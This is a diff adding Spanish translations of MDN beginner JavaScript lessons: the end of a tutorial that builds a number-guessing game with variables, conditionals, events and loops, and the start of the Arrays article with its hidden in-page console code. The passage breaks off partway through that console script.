+<p>Para empezar este tutorial, quisiéramos que hicieras una copia local del archivo <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">number-guess-guess-game-start.html</a> (<a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game-start.html">en vivo aquí</a>). Ábrelo en tu editor de texto y en tu navegador web. De momento, puedes ver un sencillo encabezado, un párrafo de instrucciones y un espacio para introducir un intento de número, pero no hará nada por ahora.</p>
+
+<p>El lugar donde agregaremos todo nuestro código es dentro del elemento {{htmlelement("script")}} en la parte inferior del HTML:</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+
+  // Tu JavaScript va aquí
+
+&lt;/script&gt;
+</pre>
+
+<h3 id="Añadiendo_variables_para_guardar_los_datos">Añadiendo variables para guardar los datos</h3>
+
+<p>Empecemos. En primer lugar, agrega las siguientes líneas dentro de tu elemento {{htmlelement("script")}}:</p>
+
+<pre class="brush: js notranslate">let randomNumber = Math.floor(Math.random() * 100) + 1;
+
+const guesses = document.querySelector('.guesses');
+const lastResult = document.querySelector('.lastResult');
+const lowOrHi = document.querySelector('.lowOrHi');
+
+const guessSubmit = document.querySelector('.guessSubmit');
+const guessField = document.querySelector('.guessField');
+
+let guessCount = 1;
+let resetButton;</pre>
+
+<p>Esta sección del código establece las variables y constantes que necesitamos para almacenar los datos que nuestro programa utilizará. Las variables básicamente son contenedores de valores (como números o cadenas de texto). Creas una variable con la palabra clave <code>let</code> (o <code>var</code>) seguida de un nombre para tu variable (leerás más sobre la diferencia entre las palabras clave en el <a href="/es/docs/Learn/JavaScript/First_steps/Variables#The_difference_between_var_and_let">siguiente artículo</a>). Las constantes se utilizan para almacenar valores que no deseas modificar y se crean con la palabra clave <code>const</code>. En este caso, estamos usando constantes para almacenar referencias a partes de nuestra interfaz de usuario; el texto dentro de algunas de ellas puede cambiar, pero los elementos HTML a los que se hace referencia permanecer iguales.</p>
+
+<p>Puedes asignar un valor a tu variable o constante con un signo igual (<code>=</code>) seguido del valor que deseas darle.</p>
+
+<p>En nuestro ejemplo:</p>
+
+<ul>
+ <li>A la primera variable — <code>randomNumber</code> — se le asigna un número al azar entre 1 y 100, calculado usando un algoritmo matemático.</li>
+ <li>Las primeras tres constantes sirven cada una para almacenar una referencia a los párrafos de resultados en nuestro HTML, y se usarán para insertar valores en los párrafos más adelante en el código (observa cómo están dentro de un elemento <code>&lt;div&gt;</code>, el cual se utiliza para seleccionar los tres más adelante para restablecerlos a sus valores originales, cuando reiniciamos el juego):
+  <pre class="brush: html notranslate">&lt;div class="resultParas"&gt;
+  &lt;p class="guesses"&gt;&lt;/p&gt;
+  &lt;p class="lastResult"&gt;&lt;/p&gt;
+  &lt;p class="lowOrHi"&gt;&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+ </li>
+ <li>Las siguientes dos constantes almacenan referencias a la entrada de texto y al botón "Enviar" del formulario, y se utilizan para controlar las respuestas del jugador más adelante.
+  <pre class="brush: html notranslate">&lt;label for="guessField"&gt;Adivina el número: &lt;/label&gt;&lt;input type="text" id="guessField" class="guessField"&gt;
+&lt;input type="submit" value="Enviar respuesta" class="guessSubmit"&gt;</pre>
+ </li>
+ <li>Nuestras dos variables finales almacenan un conteo de intentos desde 1 (que se usa para tener un registro de cuántos intentos ha hecho el jugador), y una referencia al botón de reinicio que aún no existe (pero que lo hará más adelante).</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: Aprenderás mucho más sobre las variables/constantes más adelante en el curso, comenzando con el <a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/variables">artículo siguiente</a>.</p>
+</div>
+
+<h3 id="Funciones">Funciones</h3>
+
+<p>A continuación, agrega lo siguiente debajo de tu código JavaScript anterior:</p>
+
+<pre class="brush: js notranslate">function checkGuess() {
+  alert('Soy un marcador de posición');
+}</pre>
+
+<p>Las funciones son bloques de código reutilizable que puedes escribir una vez y ejecutar una y otra vez, ahorrando la necesidad de repetir el código todo el tiempo. Son realmente útiles. Hay varias maneras de definir funciones, pero por ahora nos concentraremos en un tipo simple. Aquí hemos definido una función usando la palabra clave <code>function</code>, seguida de un nombre, con paréntesis después de él. Después de eso ponemos dos llaves (<code>{ }</code>). Dentro de las llaves se encuentra todo el código que queremos ejecutar cuando llamamos a la función.</p>
+
+<p>Cuando queramos ejecutar el código, escribimos el nombre de la función seguido de los paréntesis.</p>
+
+<p>Probémoslo ahora. Guarda tu código y actualiza la página en tu navegador. Luego, ingresa a la <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola JavaScript de las herramientas para desarrolladores</a> e ingresa la siguiente línea:</p>
+
+<pre class="brush: js notranslate">checkGuess();</pre>
+
+<p>Después de presionar<kbd>Retorno</kbd>/<kbd>Intro</kbd>, debería aparecer una alerta que dice "<samp>Soy un marcador de posición</samp>"; hemos definido una función en nuestro código que crea una alerta cada vez que la llamamos.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Aprenderás mucho más sobre las <a href="/es/docs/Learn/JavaScript/Building_blocks/Functions">funciones más adelante</a> en el curso.</p>
+</div>
+
+<h3 id="Operadores">Operadores</h3>
+
+<p>Los operadores de JavaScript nos permiten realizar pruebas, hacer cálculos matemáticos, unir cadenas y otras cosas similares.</p>
+
+<p>Si aún no lo has hecho, guarda tu código, actualiza la página en tu navegador y abre la <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola JavaScript de las herramientas para desarrolladores</a>. Luego, podemos intentar escribir los ejemplos que se muestran a continuación — escribe cada una de las columnas de "Ejemplo" exactamente como se muestra, presionando <kbd>Retorno</kbd>/<kbd>Intro</kbd> después de cada una, y ve los resultados que devuelven.</p>
+
+<p>Primero veamos los operadores aritméticos, por ejemplo:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>+</code></td>
+   <td>Suma</td>
+   <td><code>6 + 9</code></td>
+  </tr>
+  <tr>
+   <td><code>-</code></td>
+   <td>Resta</td>
+   <td><code>20 - 15</code></td>
+  </tr>
+  <tr>
+   <td><code>*</code></td>
+   <td>Multiplicación</td>
+   <td><code>3 * 7</code></td>
+  </tr>
+  <tr>
+   <td><code>/</code></td>
+   <td>División</td>
+   <td><code>10 / 5</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<p>También puedes usar el operador <code>+</code> para unir cadenas de texto (en programación, esto se llama <em>concatenación</em>). Intenta ingresar las siguientes líneas, una por una:</p>
+
+<pre class="brush: js notranslate">let name = 'Bingo';
+name;
+let hello = ' dice hola!';
+hello;
+let greeting = '¡' + name + hello;
+greeting;</pre>
+
+<p>También disponemos de algunos atajos de operadores, llamados <a href="/es/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">operadores de asignación</a> mejorada. Por ejemplo, si quieres simplemente agregar una nueva cadena de texto a una existente y devolver el resultado, puedes hacer esto:</p>
+
+<pre class="brush: js notranslate">name += ' dice hola!';</pre>
+
+<p>Esto es equivalente a</p>
+
+<pre class="brush: js notranslate">name = name + ' dice hola!';</pre>
+
+<p>Cuando ejecutamos pruebas de verdadero/falso (por ejemplo, dentro de condicionales — consulta {{anch("Conditionals", "abajo")}}) usamos <a href="/es/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">operadores de comparación</a>. Por ejemplo:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Operador</th>
+   <th scope="col">Descripción</th>
+   <th scope="col">Ejemplo</th>
+  </tr>
+  <tr>
+   <td><code>===</code></td>
+   <td>Igualdad estricta (¿es exactamente lo mismo?)</td>
+   <td>
+    <pre class="brush: js notranslate">
+5 === 2 + 4 // false
+'Chris' === 'Bob' // false
+5 === 2 + 3 // true
+2 === '2' // false; número versus cadena
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><code>!==</code></td>
+   <td>No igual (¿no es lo mismo?)</td>
+   <td>
+    <pre class="brush: js notranslate">
+5 !== 2 + 4 // true
+'Chris' !== 'Bob' // true
+5 !== 2 + 3 // false
+2 !== '2' // true; número versus cadena
+</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><code>&lt;</code></td>
+   <td>Menor que</td>
+   <td>
+    <pre class="brush: js notranslate">
+6 &lt; 10 // true
+20 &lt; 10 // false</pre>
+   </td>
+  </tr>
+  <tr>
+   <td><code>&gt;</code></td>
+   <td>Mayor que</td>
+   <td>
+    <pre class="brush: js notranslate">
+6 &gt; 10 // false
+20 &gt; 10  // true</pre>
+   </td>
+  </tr>
+ </thead>
+</table>
+
+<h3 id="Condicionales">Condicionales</h3>
+
+<p>Volviendo a nuestra función <code>checkGuess()</code>, creo que es seguro decir que no queremos que simplemente muestre un mensaje de marcador de posición. Queremos que compruebe si la respuesta del jugador es correcta o no, y que responda de manera apropiada.</p>
+
+<p>En este punto, reemplaza su función <code>checkGuess()</code> actual con esta versión:</p>
+
+<pre class="brush: js notranslate">function checkGuess() {
+  let userGuess = Number(guessField.value);
+  if (guessCount === 1) {
+    guesses.textContent = 'Intentos anteriores: ';
+  }
+  guesses.textContent += userGuess + ' ';
+
+  if (userGuess === randomNumber) {
+    lastResult.textContent = '¡Felicidades! ¡Lo adivinaste!';
+    lastResult.style.backgroundColor = 'green';
+    lowOrHi.textContent = '';
+    setGameOver();
+  } else if (guessCount === 10) {
+    lastResult.textContent = '!!!Fin del juego!!!';
+    setGameOver();
+  } else {
+    lastResult.textContent = '¡Incorrecto!';
+    lastResult.style.backgroundColor = 'red';
+    if(userGuess &lt; randomNumber) {
+      lowOrHi.textContent = '¡El número es muy bajo!';
+    } else if(userGuess &gt; randomNumber) {
+      lowOrHi.textContent = '¡El número es muy grande!';
+    }
+  }
+
+  guessCount++;
+  guessField.value = '';
+  guessField.focus();
+}</pre>
+
+<p>Esto es un montón de código — ¡uf! Repasemos cada sección y expliquemos lo qué hace.</p>
+
+<ul>
+ <li>La primera línea (línea 2 arriba) declara una variable llamada <code>userGuess</code> y establece su valor al valor actual ingresado dentro del campo de texto. También ejecutamos este valor a través del constructor <code>Number()</code> integrado, solo para asegurarnos de que el valor definitivamente sea un número.</li>
+ <li>A continuación, encontramos nuestro primer bloque de código condicional (líneas 3-5 arriba). Un bloque de código condicional te permite ejecutar código de manera selectiva, dependiendo de si una determinada condición es verdadera o no. Se parece un poco a una función, pero no lo es. La forma más simple de bloque condicional comienza con la palabra clave <code>if</code>, luego algunos paréntesis, luego unas llaves. Dentro del paréntesis incluimos una prueba. Si la prueba devuelve <code>true</code>, ejecutamos el código dentro de las llaves. Si no, no lo hacemos y pasamos al siguiente segmento del código. En este caso, la prueba está verificando si la variable <code>guessCount</code> es igual a <code>1</code> (es decir, si este es el primer intento del jugador o no):
+  <pre class="brush: js notranslate">guessCount === 1</pre>
+  Si es así, hacemos que el contenido del texto del párrafo de intentos sea igual a "<samp>Intentos previos: </samp>". Si no, no lo hacemos.</li>
+ <li>La línea 6 agrega el valor actual de <code>userGuess</code> al final del párrafo <code>guesses</code>, más un espacio en blanco para que haya un espacio entre cada intento mostrado.</li>
+ <li>El siguiente bloque (líneas 8-24 arriba) realiza algunas comprobaciones:
+  <ul>
+   <li>El primer <code>if(){ }</code> verifica si la respuesta del jugador es igual al <code>randomNumber</code> establecido al comienzo de nuestro JavaScript. Si es así, el jugador ha adivinado correctamente y ha ganado el juego, por lo tanto mostramos al jugador un mensaje de felicitación con un bonito color verde, borramos el contenido del cuadro de información de intentos <em>Low/High</em> y ejecutamos una función llamada <code>setGameOver()</code>, que examinaremos más adelante.</li>
+   <li>Ahora hemos encadenado otra prueba al final de la última usando una estructura <code>else if(){ }</code>. Esta comprueba si este intento es el último turno del jugador. Si es así, el programa hace lo mismo que en el bloque anterior, salvo por un mensaje de fin de juego en lugar de un mensaje de felicitación.</li>
+   <li>El bloque final encadenado al final de este código (el <code>else { }</code>) contiene código que solo se ejecuta si ninguna de las otras dos pruebas devuelve <code>true</code> (es decir, el jugador no acertó, pero todavía le quedan intentos). En este caso le decimos que es incorrecto, luego realizamos otra prueba condicional para verificar si el intento fue más alto o más bajo que la respuesta, mostrando un mensaje adicional según corresponda para decirle si tiene que ir más alto o bajo.</li>
+  </ul>
+ </li>
+ <li>Las últimas tres líneas de la función (líneas 26 a 28 arriba) nos preparan para el siguiente intento. Agregamos 1 a la variable <code>guessCount</code> para que el jugador use su turno (<code>++</code> es una operación de incremento — incrementar en 1), y vaciamos el valor del campo de texto. y enfocándolo de nuevo, listo para ingresar el próximo intento.</li>
+</ul>
+
+<h3 id="Eventos">Eventos</h3>
+
+<p>A estas alturas, hemos implementado correctamente la función <code>checkGuess()</code>, pero no hará nada porque aún no la hemos llamado. Lo ideal, sería llamarla cuando se presiona el botón "Enviar respuesta", y para hacerlo necesitamos usar un <strong>evento</strong>. Los eventos son cosas que suceden en el navegador — se hace clic en un botón, se carga una página, se reproduce un video, etc. — en respuesta a lo cual podemos ejecutar bloques de código. Las construcciones que escuchan el evento que ocurre se denominan <strong>escuchas de eventos</strong>, y los bloques de código que se ejecutan en respuesta a la activación del evento se denominan <strong>controladores de eventos</strong>.</p>
+
+<p>Agrega la siguiente línea debajo de tu función <code>checkGuess()</code>:</p>
+
+<pre class="brush: js notranslate">guessSubmit.addEventListener('click', checkGuess);</pre>
+
+<p>Aquí estamos agregando un escucha de eventos al botón <code>guessSubmit</code>. Este es un método toma dos valores de entrada (llamados <em>argumentos</em>) — el tipo de evento que queremos escuchar (en este caso, <code>click</code>) como una cadena, y el código que queremos ejecutar cuando ocurra el evento (en este caso la función <code>checkGuess()</code>). Ten en cuenta que no es necesario especificar los paréntesis al escribirlo dentro de {{domxref("EventTarget.addEventListener", "addEventListener()")}}.</p>
+
+<p>Intenta guardar y actualizar tu código ahora, y tu ejemplo debería funcionar — hasta cierto punto. El único problema ahora es que si adivinas la respuesta correcta o agotas los intentos, el juego se interrumpirá porque aún no hemos definido la función <code>setGameOver()</code> que se supone se debe ejecutar una vez que el juego se acabó. Ahora, agreguemos nuestro código faltante y completemos la funcionalidad de ejemplo.</p>
+
+<h3 id="Finalizando_la_funcionalidad_del_juego">Finalizando la funcionalidad del juego</h3>
+
+<p>Agreguemos la función <code>setGameOver()</code> al final de nuestro código y luego repasémoslo. Agrega esto ahora, debajo del resto de su JavaScript:</p>
+
+<pre class="brush: js notranslate">function setGameOver() {
+  guessField.disabled = true;
+  guessSubmit.disabled = true;
+  resetButton = document.createElement('button');
+  resetButton.textContent = 'Iniciar nuevo juego';
+  document.body.append(resetButton);
+  resetButton.addEventListener('click', resetGame);
+}</pre>
+
+<ul>
+ <li>Las dos primeras líneas deshabilitan el campo de texto y el botón fijando sus propiedades <code>disabled</code> en <code>true</code>. Esto es necesario, porque si no lo hiciéramos, el jugador podría seguir enviando más intentos aunque el juego hubiera terminado, lo cual estropearía las cosas.</li>
+ <li>Las siguientes tres líneas generan un nuevo elemento {{htmlelement("button")}}, establecen su etiqueta de texto en "Iniciar nuevo juego" y lo añaden al final de nuestro HTML existente.</li>
+ <li>La última línea establece un escucha de eventos en nuestro nuevo botón para que cuando se haga clic en él, se ejecute una función llamada <code>resetGame()</code>.</li>
+</ul>
+
+<p>¡Ahora también necesitamos definir esta función! Agrega el siguiente código, nuevamente al final de tu JavaScript:</p>
+
+<pre class="brush: js notranslate">function resetGame() {
+  guessCount = 1;
+
+  const resetParas = document.querySelectorAll('.resultParas p');
+  for (let i = 0 ; i &lt; resetParas.length ; i++) {
+    resetParas[i].textContent = '';
+  }
+
+  resetButton.parentNode.removeChild(resetButton);
+
+  guessField.disabled = false;
+  guessSubmit.disabled = false;
+  guessField.value = '';
+  guessField.focus();
+
+  lastResult.style.backgroundColor = 'white';
+
+  randomNumber = Math.floor(Math.random() * 100) + 1;
+}</pre>
+
+<p>Este bloque de código bastante largo restablece completamente todo a cómo estaba al comienzo del juego, para que el jugador pueda intentarlo de nuevo. Eso:</p>
+
+<ul>
+ <li>Vuelve a poner <code>guessCount</code> en 1.</li>
+ <li>Vacía todo el texto de los párrafos de información. Seleccionamos todos los párrafos dentro de <code>&lt;div class="resultParas"&gt;&lt;/div&gt;</code>, luego recorremos cada uno, configurando su <code>textContent</code> en <code>''</code> (una cadena vacía).</li>
+ <li>Elimina de nuestro código el botón de reinicio.</li>
+ <li>Habilita los elementos del formulario, vacía y enfoca el campo de texto, listo para ingresar un nuevo intento.</li>
+ <li>Elimina el color de fondo del párrafo <code>lastResult</code>.</li>
+ <li>Genera un nuevo número al azar ¡para que no vuelvas a adivinar el mismo número!.</li>
+</ul>
+
+<p><strong>En este punto, deberías tener un juego completamente funcional (simple) — ¡Felicidades!</strong></p>
+
+<p>Todo lo que resta por hacer en este artículo es hablar sobre algunas otras importantes características del código que ya has visto, aunque es posible que no te hayas dado cuenta.</p>
+
+<h3 id="Bucles">Bucles</h3>
+
+<p>Una parte del código anterior que debemos examinar detalladamente es el bucle <a href="/es/docs/Web/JavaScript/Reference/Statements/for">for</a>. Los bucles son un muy importante concepto en programación, estos te permiten seguir ejecutando un fragmento de código una y otra vez, hasta que se cumpla una determinada condición.</p>
+
+<p>Para empezar, de nuevo ve a tu <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">consola JavaScript de las herramientas para desarrolladores del navegador</a> e introduce lo siguiente:</p>
+
+<pre class="brush: js notranslate">for (let i = 1 ; i &lt; 21 ; i++) { console.log(i) }</pre>
+
+<p>¿Que sucedió? Los números <samp>1</samp> a <samp>20</samp> se imprimieron en tu consola. Esto se debió al bucle. Un bucle <code>for</code> toma tres valores (argumentos) de entrada:</p>
+
+<ol>
+ <li><strong>Un valor inicial</strong>: En este caso, comenzamos a contar en 1, pero este podría ser cualquier número que desees. También puedes reemplazar la letra <code>i</code> con cualquier nombre que desees, pero por convención se usa <code>i</code> porque es corto y fácil de recordar.</li>
+ <li><strong>Una condición de salida</strong>: Aquí hemos especificado <code>i &lt; 21</code> — el ciclo continuará hasta que <code>i</code> no sea menor que 21. Cuando <code>i</code> llegue a 21, el bucle ya no se ejecutará.</li>
+ <li><strong>Un incremento</strong>: Hemos especificado <code>i++</code>, que significa "agrega 1 a i". El ciclo se ejecutará una vez por cada valor de <code>i</code>, hasta que <code>i</code> alcance un valor de 21 (como se explicó anteriormente). En este caso, simplemente imprimimos el valor de <code>i</code> en la consola en cada iteración usando {{domxref("console.log", "console.log()")}}.</li>
+</ol>
+
+<p>Ahora veamos el ciclo en nuestro juego de adivinan el número — lo siguiente está dentro de la función <code>resetGame()</code>:</p>
+
+<pre class="brush: js notranslate">const resetParas = document.querySelectorAll('.resultParas p');
+for (let i = 0 ; i &lt; resetParas.length ; i++) {
+  resetParas[i].textContent = '';
+}</pre>
+
+<p>Este código crea una variable que contiene una lista de todos los párrafos dentro de <code>&lt;div class="resultParas"&gt;</code> usando el método {{domxref("document.querySelectorAll", "querySelectorAll()")}}, luego recorre cada uno de ellos, eliminando el texto contenido a su paso.</p>
+
+<h3 id="Una_pequeña_explicación_sobre_objetos.">Una pequeña explicación sobre objetos.</h3>
+
+<p>Agreguemos una mejora final más antes de entrar en esta explicación. Agrega la siguiente línea justo debajo de la línea <code>let resetButton;</code> cerca de la parte superior de tu JavaScript, luego guarda tu archivo:</p>
+
+<pre class="brush: js notranslate">guessField.focus();</pre>
+
+<p>Esta línea usa el método {{domxref("HTMLElement.focus", "focus()")}} para colocar automáticamente el cursor en el campo de texto {{htmlelement("input")}} tan pronto como se cargue la página, lo cual significa que el jugador puede comenzar a escribir su primer intento inmediatamente, sin tener que hacer clic primero en el campo del formulario. Es solo una pequeña adición, pero mejora la experiencia del jugador — brindando al usuario una buena pista visual de lo que tiene que hacer para jugar.</p>
+
+<p>Analicemos lo que está sucediendo aquí con un poco más de detalle. En JavaScript, todo es un objeto. Un objeto es una colección de funciones relacionadas almacenadas en un solo grupo. Puedes crear tus propios objetos, pero eso es bastante avanzado y no lo cubriremos hasta mucho más adelante en el curso. Por ahora, analizaremos brevemente los objetos integrados que contiene tu navegador, los cuales te permiten hacer muchas cosas útiles.</p>
+
+<p>En este caso particular, primero creamos una constante <code>guessField</code> que almacena una referencia al campo de texto del formulario en nuestro HTML — la siguiente línea se puede encontrar entre nuestras declaraciones cerca de la parte superior del código:</p>
+
+<pre class="brush: js notranslate">const guessField = document.querySelector('.guessField');</pre>
+
+<p>Para obtener esta referencia, usamos el método {{domxref("document.querySelector", "querySelector()")}} del objeto {{domxref("document")}}. <code>querySelector()</code> toma un parámetro — un <a href="/es/docs/Learn/CSS/Introduction_to_CSS/Selectors">selector CSS</a> que selecciona el elemento del que deseas una referencia.</p>
+
+<p>Debido a que <code>guessField</code> ahora contiene una referencia a un elemento {{htmlelement("input")}}, ahora tiene acceso a varias propiedades (básicamente variables almacenadas dentro de los objetos, algunas de las cuales no les puedes cambiar sus valores) y métodos (básicamente funciones almacenadas dentro de objetos). Un método disponible para elementos <code>input</code> es <code>focus()</code>, por lo que ahora podemos usar esta línea para enfocar el campo de texto:</p>
+
+<pre class="brush: js notranslate">guessField.focus();</pre>
+
+<p>Las variables que no contienen referencias a elementos de formulario no dispondrán de método <code>focus()</code>. Por ejemplo, la constante <code>guessCount</code> contiene una referencia a un elemento {{htmlelement("p")}} y la variable <code>guessCount</code> contiene un número.</p>
+
+<h3 id="Jugando_con_los_objetos_del_navegador">Jugando con los objetos del navegador</h3>
+
+<p>Juguemos un poco con algunos objetos del navegador.</p>
+
+<ol>
+ <li>En primer lugar, abre tu programa en un navegador.</li>
+ <li>A continuación, abre las <a href="/es/docs/Learn/Common_questions/What_are_browser_developer_tools">herramientas de desarrollo del navegador</a> y asegúrate de que la pestaña de la consola JavaScript esté abierta.</li>
+ <li>Escribe <code>guessField</code> y la consola te mostrará que la variable contiene un elemento {{htmlelement("input")}}. También notarás que la consola te ayuda completando automáticamente los nombres de los objetos que existen dentro del entorno de ejecución, ¡incluidas tus variables!</li>
+ <li>Ahora escribe lo siguiente:
+  <pre class="brush: js notranslate">guessField.value = 'Hola';</pre>
+  La propiedad <code>value</code> representa el valor actual ingresado en el campo de texto. Verás que al ingresar este comando, ¡hemos cambiado este valor!</li>
+ <li>Ahora intenta escribir <code>guesses</code> en la consola y presiona Intro. La consola te muestra que la variable contiene un elemento {{htmlelement("p")}}.</li>
+ <li>Ahora intenta ingresar la siguiente línea:
+  <pre class="brush: js notranslate">guesses.value</pre>
+  El navegador devuelve <code>undefined</code>, porque los párrafos no tienen la propiedad <code>value</code>.</li>
+ <li>Para cambiar el texto dentro de un párrafo, necesitas la propiedad {{domxref("Node.textContent", "textContent")}} en su lugar. Prueba esto:
+  <pre class="brush: js notranslate">guesses.textContent = '¿Dónde está mi párrafo?';</pre>
+ </li>
+ <li>Ahora, solo por diversión. Intenta ingresar las siguientes líneas, una por una:
+  <pre class="brush: js notranslate">guesses.style.backgroundColor = 'yellow';
+guesses.style.fontSize = '200%';
+guesses.style.padding = '10px';
+guesses.style.boxShadow = '3px 3px 6px black';</pre>
+  Cada elemento de una página tiene una propiedad <code>style</code>, que a su vez contiene un objeto cuyas propiedades contienen todos los estilos CSS en línea aplicados a ese elemento. Esto nos permite establecer dinámicamente nuevos estilos CSS en elementos utilizando JavaScript.</li>
+</ol>
+
+<h2 id="Terminamos_por_ahora...">Terminamos por ahora...</h2>
+
+<p>Así que eso es todo para construir el ejemplo. Llegaste al final, ¡bien hecho! Prueba tu código final, o <a href="http://mdn.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">juega con nuestra versión final aquí</a>. Si no puedes hacer que el ejemplo funcione, compáralo con el <a href="https://github.com/mdn/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">código fuente</a>.</p>
+
+<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</p>
+
+<h2 id="En_este_modulo">En este modulo</h2>
+
+<ul>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_is_JavaScript">¿Qué es JavaScript?</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/A_first_splash">Primer contacto con JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/What_went_wrong">¿Qué salió mal? Solución de problemas de JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Variables">Almacenamiento de la información que necesita — Variables</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Math">Matemáticas básicas en JavaScript — números y operadores</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Strings">Manejo de texto — cadenas en JavaScript</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Useful_string_methods">Métodos de cadena útiles</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Arrays">Arreglos</a></li>
+ <li><a href="/es/docs/Learn/JavaScript/First_steps/Silly_story_generator">Evaluación: Generador de historias tontas</a></li>
+</ul>
diff --git a/files/es/learn/javascript/first_steps/arrays/index.html b/files/es/learn/javascript/first_steps/arrays/index.html
new file mode 100644
index 0000000000..cea00871a7
--- /dev/null
+++ b/files/es/learn/javascript/first_steps/arrays/index.html
@@ -0,0 +1,665 @@
+---
+title: Arrays
+slug: Learn/JavaScript/First_steps/Arrays
+translation_of: Learn/JavaScript/First_steps/Arrays
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</div>
+
+<h2 id="Arreglos_o_Matrices">Arreglos o Matrices</h2>
+
+<p class="summary">En este último artículo de este módulo, veremos las matrices — una manera ordenada de almacenar una lista de elementos de datos bajo un solo nombre de variable. Aquí vemos por qué esto es útil, luego exploramos cómo crear una matriz, recuperar, agregar y eliminar elementos almacenados en una matriz, y más.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerrequisitos:</th>
+   <td>Conocimientos básicos de informática, una comprensión básica de HTML y CSS, una idea de lo que es JavaScript.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectivo:</th>
+   <td>Para entender qué son las matrices y cómo manipularlas en JavaScript.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="¿Qué_es_una_matriz">¿Qué es una matriz?</h2>
+
+<p>Las matrices se describen como "objetos tipo lista"; básicamente son objetos individuales que contienen múltiples valores almacenados en una lista. Los objetos de matriz pueden almacenarse en variables y tratarse de la misma manera que cualquier otro tipo de valor, la diferencia es que podemos acceder individualmente a cada valor dentro de la lista y hacer cosas útiles y eficientes con la lista, como recorrerlo con un bucle y hacer una misma cosa a cada valor. Tal vez tenemos una serie de productos y sus precios almacenados en una matriz, y queremos recorrerlos e imprimirlos en una factura, sumando todos los precios e imprimiendo el total en la parte inferior.</p>
+
+<p>Si no tuvieramos matrices, tendríamos que almacenar cada elemento en una variable separada, luego llamar al código que hace la impresión y agregarlo por separado para cada artículo. Esto sería mucho más largo de escribir, menos eficiente y más propenso a errores. si tuviéramos 10 elementos para agregar a la factura, ya sería suficientemente malo, pero ¿ qué pasa con 100 o 1000 artículos? Volveremos a este ejemplo más adelante en el artículo.</p>
+
+<p>Como en artículos anteriores, aprendamos sobre los aspectos básicos reales de las matrices ingresando algunos ejemplos en una consola de JavaScript. A continuación proporcionamos uno (también puedes <a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">abrir en consola</a> en una pestaña o ventana separadas, o usar la <a href="/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">consola de desarrollador de navegador</a>, si lo prefieres).</p>
+
+<div class="hidden">
+<h6 id="Hidden_code">Hidden code</h6>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;meta charset="utf-8"&gt;
+    &lt;title&gt;JavaScript console&lt;/title&gt;
+    &lt;style&gt;
+      * {
+        box-sizing: border-box;
+      }
+
+      html {
+        background-color: #0C323D;
+        color: #809089;
+        font-family: monospace;
+      }
+
+      body {
+        max-width: 700px;
+      }
+
+      p {
+        margin: 0;
+        width: 1%;
+        padding: 0 1%;
+        font-size: 16px;
+        line-height: 1.5;
+        float: left;
+      }
+
+      .input p {
+        margin-right: 1%;
+      }
+
+      .output p {
+        width: 100%;
+      }
+
+      .input input {
+        width: 96%;
+        float: left;
+        border: none;
+        font-size: 16px;
+        line-height: 1.5;
+        font-family: monospace;
+        padding: 0;
+        background: #0C323D;
+        color: #809089;
+      }
+
+      div {
+        clear: both;
+      }
+
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+
+
+  &lt;/body&gt;
+
+  &lt;script&gt;
+    var geval = eval;
+    function createInput() {
+      var inputDiv = document.createElement('div');
+      var inputPara = document.createElement('p');
+      var inputForm = document.createElement('input');
+
+      inputDiv.setAttribute('class','input');
+      inputPara.textContent = '&gt;';
+      inputDiv.appendChild(inputPara);
+      inputDiv.appendChild(inputForm);
+      document.body.appendChild(inputDiv);
+
+      if(document.querySelectorAll('div').length &gt; 1) {
+        inputForm.focus();
+      }
+
+      inputForm.addEventListener('change', executeCode);
+    }
+
+    function executeCode(e) {
+      try {
+        var result = geval(e.target.value);
+      } catch(e) {
+        var result = 'error — ' + e.message;
+      }
+
+      var outputDiv = document.createElement('div');
+      var outputPara = document.createElement('p');
+
+      outputDiv.setAttribute('class','output');
+      outputPara.textContent = 'Result: ' + result;
+      outputDiv.appendChild(outputPara);
+      document.body.appendChild(outputDiv);
+
+      e.target.disabled = true;
